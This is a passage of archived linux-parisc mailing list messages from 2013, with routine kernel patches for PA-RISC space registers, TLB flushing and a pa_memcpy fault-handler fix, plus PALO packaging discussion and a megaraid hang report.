Original-Received: from blu0-omc4-s11.blu0.hotmail.com ([65.55.111.150]:58059 "EHLO
	blu0-omc4-s11.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752850Ab3F2UAe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Jun 2013 16:00:34 -0400
Original-Received: from BLU0-SMTP67 ([65.55.111.135]) by blu0-omc4-s11.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 29 Jun 2013 13:00:34 -0700
X-EIP: [VOSb/7W3LaV+M3dFn5ct8+erWW1cZZvM]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.85.79]) by BLU0-SMTP67.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 29 Jun 2013 13:00:33 -0700
In-Reply-To: <51CF3B81.8010807@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 29 Jun 2013 20:00:33.0533 (UTC) FILETIME=[50721AD0:01CE7503]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5175
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5175>

On 29-Jun-13, at 3:54 PM, Helge Deller wrote:

> Hi Dave,
>
> On 06/29/2013 09:38 PM, John David Anglin wrote:
>> On 29-Jun-13, at 7:31 AM, Helge Deller wrote:
>>
>>> PALO version 1.9 (or higher) is required for this which is  
>>> available in
>>> the dev_gzip branch of
>>> git://git.kernel.org/pub/scm/linux/kernel/git/deller/palo.git
>>
>> Helge, as the resident palo guru, could you update the debian/ 
>> changelog and
>> build a new package when you make changes?  We have gone through  
>> about
>> three versions without any documentation as to what was changed.
>
> Sure, that's what I had in mind. And add a spec file for RH :-)
> But I just sent the patch to patchwork so that it's not being missed  
> at some point.
> I did not yet wanted to apply it....
>
>> I have built a palo-1.19 package which should be uploaded to the  
>> archive soon.
>> Made up something for changelog.
>
> Please don't upload it yet.
> It still needs more testing.


Holding.

I have been using 1.18 up to now.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: optimize mtsp(0,sr) inline assembly
Date: Sat, 29 Jun 2013 22:08:03 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20130629200803.GA31030@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1372536491 7761 80.91.229.3 (29 Jun 2013 20:08:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Jun 2013 20:08:11 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 29 22:08:11 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ut1RJ-0003Vy-Sl
	for glpp-linux-parisc@plane.gmane.org; Sat, 29 Jun 2013 22:08:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752368Ab3F2UII (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Jun 2013 16:08:08 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:52603 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752055Ab3F2UIH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Jun 2013 16:08:07 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.24]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0M0ei8-1TyZCa0Bdm-00uuqy for
 <linux-parisc@vger.kernel.org>; Sat, 29 Jun 2013 22:08:06 +0200
Original-Received: (qmail invoked by alias); 29 Jun 2013 20:08:05 -0000
Original-Received: from p54AD0337.dip0.t-ipconnect.de (EHLO p100.box) [84.173.3.55]
  by mail.gmx.net (mp024) with SMTP; 29 Jun 2013 22:08:05 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18d2y8viJ4dx4DwhbGsHWCNLwvilbON9rgeiTTQhW
	Ewe9KPa/QUXt4K
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5176
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5176>

If the value which should be moved into a space register is zero, we can
optimize the inline assembly to become "mtsp %r0,%srX".

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/special_insns.h b/arch/parisc/include/asm/special_insns.h
index d306b75..e150930 100644
--- a/arch/parisc/include/asm/special_insns.h
+++ b/arch/parisc/include/asm/special_insns.h
@@ -32,9 +32,12 @@ static inline void set_eiem(unsigned long val)
 	cr;				\
 })
 
-#define mtsp(gr, cr) \
-	__asm__ __volatile__("mtsp %0,%1" \
+#define mtsp(val, cr) \
+	{ if (__builtin_constant_p(val) && ((val) == 0)) \
+	 __asm__ __volatile__("mtsp %%r0,%0" : : "i" (cr) : "memory"); \
+	else \
+	 __asm__ __volatile__("mtsp %0,%1" \
 		: /* no outputs */ \
-		: "r" (gr), "i" (cr) : "memory")
+		: "r" (val), "i" (cr) : "memory"); }
 
 #endif /* __PARISC_SPECIAL_INSNS_H */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Ensure volatile space register %sr1 is not clobbered (v2)
Date: Sat, 29 Jun 2013 16:42:12 -0400
Lines: 70
Approved: news@gmane.org
Message-ID: <BLU0-SMTP161BD1EB89F066AC13DE2497770@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-11--905658420"
X-Trace: ger.gmane.org 1372538553 28591 80.91.229.3 (29 Jun 2013 20:42:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Jun 2013 20:42:33 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 29 22:42:32 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ut1yZ-0003VR-W4
	for glpp-linux-parisc@plane.gmane.org; Sat, 29 Jun 2013 22:42:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752737Ab3F2Umb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Jun 2013 16:42:31 -0400
Original-Received: from blu0-omc4-s36.blu0.hotmail.com ([65.55.111.175]:54943 "EHLO
	blu0-omc4-s36.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751295Ab3F2Umb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Jun 2013 16:42:31 -0400
Original-Received: from BLU0-SMTP16 ([65.55.111.136]) by blu0-omc4-s36.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 29 Jun 2013 13:42:30 -0700
X-EIP: [ae/m/OUHCxaiOiDbm0JlBotBLTiFJeO+]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.85.79]) by BLU0-SMTP16.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 29 Jun 2013 13:42:28 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 29 Jun 2013 20:42:28.0783 (UTC) FILETIME=[2BA6CBF0:01CE7509]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5177
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5177>

--Apple-Mail-11--905658420
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

This patch is functionally identical to the previous one except the  
computation of the space id
is moved outside the lock region in the first hunk.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
---



--Apple-Mail-11--905658420
Content-Disposition: attachment; filename="sr1-v2.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="sr1-v2.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/tlbflush.h b/arch/parisc/include/asm/tlbflush.h
index 5273da9..d703061 100644
--- a/arch/parisc/include/asm/tlbflush.h
+++ b/arch/parisc/include/asm/tlbflush.h
@@ -63,13 +63,14 @@ static inline void flush_tlb_mm(struct mm_struct *mm)
 static inline void flush_tlb_page(struct vm_area_struct *vma,
 	unsigned long addr)
 {
-	unsigned long flags;
+	unsigned long flags, sid;
 
 	/* For one page, it's not worth testing the split_tlb variable */
 
 	mb();
-	mtsp(vma->vm_mm->context,1);
+	sid = vma->vm_mm->context;
 	purge_tlb_start(flags);
+	mtsp(sid,1);
 	pdtlb(addr);
 	pitlb(addr);
 	purge_tlb_end(flags);
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 65fb4cb..2e65aa5 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -440,8 +440,8 @@ void __flush_tlb_range(unsigned long sid, unsigned long start,
 	else {
 		unsigned long flags;
 
-		mtsp(sid, 1);
 		purge_tlb_start(flags);
+		mtsp(sid, 1);
 		if (split_tlb) {
 			while (npages--) {
 				pdtlb(start);

--Apple-Mail-11--905658420
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-11--905658420--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: switch to gzip-compressed vmlinuz kernel
Date: Wed, 03 Jul 2013 00:24:49 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <51D35331.30206@gmx.de>
References: <20130629113124.GA1320@p100.box> <BLU0-SMTP510D290B15E6925904E11C97770@phx.gbl> <51CF3B81.8010807@gmx.de> <BLU0-SMTP67AC6F18E8093CF6C8C2E797770@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1372803895 3195 80.91.229.3 (2 Jul 2013 22:24:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 2 Jul 2013 22:24:55 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 03 00:24:56 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Uu90J-0004Ag-Fv
	for glpp-linux-parisc@plane.gmane.org; Wed, 03 Jul 2013 00:24:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753497Ab3GBWYy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Jul 2013 18:24:54 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:59496 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753373Ab3GBWYy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Jul 2013 18:24:54 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.2]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LnEWZ-1UJhio3s7h-00hOer for
 <linux-parisc@vger.kernel.org>; Wed, 03 Jul 2013 00:24:51 +0200
Original-Received: (qmail invoked by alias); 02 Jul 2013 22:24:51 -0000
Original-Received: from p54AD0B97.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.11.151]
  by mail.gmx.net (mp002) with SMTP; 03 Jul 2013 00:24:51 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19ubm9s7m5u0ptJGYV+PgLMr3NthO8Mn4wU+WGUXm
	8J6awlg+IIBdTy
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130514 Thunderbird/17.0.6
In-Reply-To: <BLU0-SMTP67AC6F18E8093CF6C8C2E797770@phx.gbl>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5178
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5178>

On 06/29/2013 10:00 PM, John David Anglin wrote:
>>> I have built a palo-1.19 package which should be uploaded to the archive soon.
>>> Made up something for changelog.

FYI, I've just uploaded a new palo-1.90 package with changelog and such to our repository at parisc-linux.org.
My palo source repository is http://git.kernel.org/cgit/linux/kernel/git/deller/palo.git
The master branch now holds all my changes - do not use the dev_gzip branch any longer.

I'm planning for a palo-2.0 package as soon as I have time to finish the other wishlist items (e.g. xz-support, loading ISO/tftboot images, ...).
 
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: megaraid hang on parisc
Date: Wed, 03 Jul 2013 13:31:51 -0700
Lines: 88
Approved: news@gmane.org
Message-ID: <1372883511.3601.69.camel@dabdike>
References: <51D47B79.7080600@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1372883516 18356 80.91.229.3 (3 Jul 2013 20:31:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Jul 2013 20:31:56 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 03 22:31:56 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UuTiU-0002Yd-O2
	for glpp-linux-parisc@plane.gmane.org; Wed, 03 Jul 2013 22:31:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933069Ab3GCUby (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Jul 2013 16:31:54 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40004 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933037Ab3GCUbx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Jul 2013 16:31:53 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id CD7E18EE118;
	Wed,  3 Jul 2013 13:31:52 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id tP1Toc9-BLhe; Wed,  3 Jul 2013 13:31:52 -0700 (PDT)
Original-Received: from [10.0.0.2] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 729B38EE092;
	Wed,  3 Jul 2013 13:31:52 -0700 (PDT)
In-Reply-To: <51D47B79.7080600@gmx.de>
X-Mailer: Evolution 3.8.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5179
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5179>

On Wed, 2013-07-03 at 21:28 +0200, Helge Deller wrote:
>                 Cc:
> list parisc-linux
> <parisc-linux@lists.parisc-linux.org>

Wrong list ... we switched to vger long ago (cc updated)

> Hi James,
> 
> one of my parisc machines has a built-in (HP) megaraid controller.
> 
> With Linux kernel 3.10(final) I get a hang in issue_scb_block() in drivers/scsi/megaraid.c
> which is then finally detected and killed by the hung tasks thread.   
> Maybe you have an idea?

It's probably one of

     1. Endianness issue in the driver meaning the command doesn't look
        right to the firmware
     2. Failure to Issue, may be a missed PCI post flush
     3. Interrupt routing problem

But without diagnosing, it's hard to say.

James

> This is not special to 3.10 - it happens with older kernel releases as well.
> 
> Helge
> 
> Synthesizing the initial hotplug events...megaraid_legacy 0000:50:00.1: enabling device (0000 -> 0002)
> megaraid_legacy 0000:50:00.1: enabling SERR and PARITY (0002 -> 0142)
> megaraid: found 0x8086:0x1960:bus 80:slot 0:func 1
> scsi4:Found MegaRAID controller at 0x7e000, IRQ:71
> done.
> Waiting for /dev to be fully populated...
> ....
> BUG: soft lockup - CPU#2 stuck for 23s! [modprobe:1272]
> Modules linked in: megaraid(+)
> CPU: 2 PID: 1272 Comm: modprobe Not tainted 3.10.0-64bit-c3000+ #55
> task: 00000000bedee100 ti: 00000000bdca8000 task.ti: 00000000bdca8000
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000011001111111100001111 Not tainted
> r00-03  000000ff080cff0f 00000000040a3000 00000000040abca0 00000000bdca8bb0
> r04-07  00000000040a3000 00000000bdc87010 00000000bed0b490 00000000bdc87008
> r08-11  0000000000000050 00000000bed0b490 00000000bdca8a88 000000000007e000
> r12-15  ffffffff94000000 00000000bed0b000 0000000000000047 00000000bdc86000
> r16-19  0000000000001228 000000000000000f 0000000000005001 00000000000000ff
> r20-23  00000000bdc8701e 00000000bdca8a96 00000000bf7220c0 0000001ae4d03500
> r24-27  0000000040b58cf0 00000000bdca8a88 00000000bed0b490 00000000040a3000
> r28-31  00000000000000ff 00000000bdca8b80 00000000bdca8c70 00000000000000ff
> sr00-03  0000000000000000 0000000000000000 0000000000000000 000000000007f000
> sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000040a566c 00000000040a5664
>  IIR: 08000240    ISR: 00000000bdca8d48  IOR: 0000000040c2ef80
>  CPU:        2   CR30: 00000000bdca8000 CR31: ffffffffffffffff
>  ORIG_R28: 0000000000000000
>  IAOQ[0]: issue_scb_block+0x134/0x4d8 [megaraid]
>  IAOQ[1]: issue_scb_block+0x12c/0x4d8 [megaraid]
>  RP(r2): megaraid_probe_one+0x808/0x1a68 [megaraid]
> Backtrace:
>  [<00000000040abca0>] megaraid_probe_one+0x808/0x1a68 [megaraid]
> 
> Kernel panic - not syncing: softlockup: hung tasks
> CPU: 2 PID: 1272 Comm: modprobe Not tainted 3.10.0-64bit-c3000+ #55
> Backtrace:
>  [<000000004012041c>] show_stack+0x2c/0x40
>  [<00000000403bf2fc>] dump_stack+0x64/0x78
>  [<000000004014b4a4>] panic+0x1a4/0x4f0
>  [<00000000401d1840>] watchdog_timer_fn+0x328/0x350
>  [<00000000401891b4>] hrtimer_run_queues+0x14c/0x3e0
>  [<0000000040163e74>] run_local_timers+0x34/0x70
>  [<0000000040163f28>] update_process_times+0x78/0x148
>  [<0000000040121ae0>] timer_interrupt+0x200/0x288
>  [<00000000401d2c98>] handle_irq_event_percpu+0xb8/0x378
>  [<00000000401d8d0c>] handle_percpu_irq+0xbc/0xf8
>  [<00000000401d1d0c>] generic_handle_irq+0x4c/0x68
>  [<00000000401062d0>] syscall_do_resched+0x28/0x34



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix gcc miscompilation in pa_memcpy()
Date: Thu, 4 Jul 2013 22:34:11 +0200
Lines: 214
Approved: news@gmane.org
Message-ID: <20130704203411.GA1258@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1372970058 31993 80.91.229.3 (4 Jul 2013 20:34:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Jul 2013 20:34:18 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 04 22:34:18 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UuqEK-0000Te-Ty
	for glpp-linux-parisc@plane.gmane.org; Thu, 04 Jul 2013 22:34:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756833Ab3GDUeQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Jul 2013 16:34:16 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:55038 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756759Ab3GDUeP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Jul 2013 16:34:15 -0400
Original-Received: from p100.box ([84.173.28.97]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0M7UUd-1Tyb0l2nfr-00xNiI; Thu, 04 Jul 2013 22:34:13
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:+e25E2B4V1jQf+LKqDecHGglmro/Vw+UjVPjgikCQHwc6cXszqo
 P2KMDBsvVPRhaJUtF4LpJqs1kQIl4p0FZcvwoAib74QzOA2/p2sv7xidDg2HPKfZ08iLz/Y
 E2/aEM/rMfncX5gufDvJPuc6JXs30DL6JbXU9B/Hg5cCdiKL6PwRKvfFfcdPYBCGI68vveG
 x9CSjo3EFcMabdBnF4TDQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5180
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5180>

When running the LTP testsuite one may hit this kernel BUG() with the
write06 testcase:

kernel BUG at mm/filemap.c:2023!
CPU: 1 PID: 8614 Comm: writev01 Not tainted 3.10.0-rc7-64bit-c3000+ #6
IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401e6e84 00000000401e6e88
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000001fbe0380820
 CPU:        1   CR30: 00000000bef80000 CR31: ffffffffffffffff
 ORIG_R28: 00000000bdc192c0
 IAOQ[0]: iov_iter_advance+0x3c/0xc0
 IAOQ[1]: iov_iter_advance+0x40/0xc0
 RP(r2): generic_file_buffered_write+0x204/0x3f0
Backtrace:
 [<00000000401e764c>] generic_file_buffered_write+0x204/0x3f0
 [<00000000401eab24>] __generic_file_aio_write+0x244/0x448
 [<00000000401eadc0>] generic_file_aio_write+0x98/0x150
 [<000000004024f460>] do_sync_readv_writev+0xc0/0x130
 [<000000004025037c>] compat_do_readv_writev+0x12c/0x340
 [<00000000402505f8>] compat_writev+0x68/0xa0
 [<0000000040251d88>] compat_SyS_writev+0x98/0xf8

Reason for this crash is a gcc miscompilation in the fault handlers of
pa_memcpy() which return the fault address instead of the copied bytes.
Since this seems to be a generic problem with gcc-4.7.x (and below), it's
better to simplify the fault handlers in pa_memcpy to avoid this problem.

Here is a simple reproducer for the problem:

int main(int argc, char **argv)
{
	int fd, nbytes;
	struct iovec wr_iovec[] = {
		{ "TEST STRING                     ",32},
		{ (char*)0x40005000,32} }; // random memory.
	fd = open(DATA_FILE, O_RDWR | O_CREAT, 0666);
	nbytes = writev(fd, wr_iovec, 2);
	printf("return value = %d, errno %d (%s)\n",
		nbytes, errno, strerror(errno));
	return 0;
}

Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: John David Anglin <dave.anglin@bell.net>

diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index a49cc81..ac4370b 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -2,6 +2,7 @@
  *    Optimized memory copy routines.
  *
  *    Copyright (C) 2004 Randolph Chung <tausq@debian.org>
+ *    Copyright (C) 2013 Helge Deller <deller@gmx.de>
  *
  *    This program is free software; you can redistribute it and/or modify
  *    it under the terms of the GNU General Public License as published by
@@ -153,17 +154,21 @@ static inline void prefetch_dst(const void *addr)
 #define prefetch_dst(addr) do { } while(0)
 #endif
 
+#define PA_MEMCPY_OK		0
+#define PA_MEMCPY_LOAD_ERROR	1
+#define PA_MEMCPY_STORE_ERROR	2
+
 /* Copy from a not-aligned src to an aligned dst, using shifts. Handles 4 words
  * per loop.  This code is derived from glibc. 
  */
-static inline unsigned long copy_dstaligned(unsigned long dst, unsigned long src, unsigned long len, unsigned long o_dst, unsigned long o_src, unsigned long o_len)
+static inline unsigned long copy_dstaligned(unsigned long dst,
+					unsigned long src, unsigned long len)
 {
 	/* gcc complains that a2 and a3 may be uninitialized, but actually
 	 * they cannot be.  Initialize a2/a3 to shut gcc up.
 	 */
 	register unsigned int a0, a1, a2 = 0, a3 = 0;
 	int sh_1, sh_2;
-	struct exception_data *d;
 
 	/* prefetch_src((const void *)src); */
 
@@ -197,7 +202,7 @@ static inline unsigned long copy_dstaligned(unsigned long dst, unsigned long src
 			goto do2;
 		case 0:
 			if (len == 0)
-				return 0;
+				return PA_MEMCPY_OK;
 			/* a3 = ((unsigned int *) src)[0];
 			   a0 = ((unsigned int *) src)[1]; */
 			ldw(s_space, 0, src, a3, cda_ldw_exc);
@@ -256,42 +261,35 @@ do0:
 	preserve_branch(handle_load_error);
 	preserve_branch(handle_store_error);
 
-	return 0;
+	return PA_MEMCPY_OK;
 
 handle_load_error:
 	__asm__ __volatile__ ("cda_ldw_exc:\n");
-	d = &__get_cpu_var(exception_data);
-	DPRINTF("cda_ldw_exc: o_len=%lu fault_addr=%lu o_src=%lu ret=%lu\n",
-		o_len, d->fault_addr, o_src, o_len - d->fault_addr + o_src);
-	return o_len * 4 - d->fault_addr + o_src;
+	return PA_MEMCPY_LOAD_ERROR;
 
 handle_store_error:
 	__asm__ __volatile__ ("cda_stw_exc:\n");
-	d = &__get_cpu_var(exception_data);
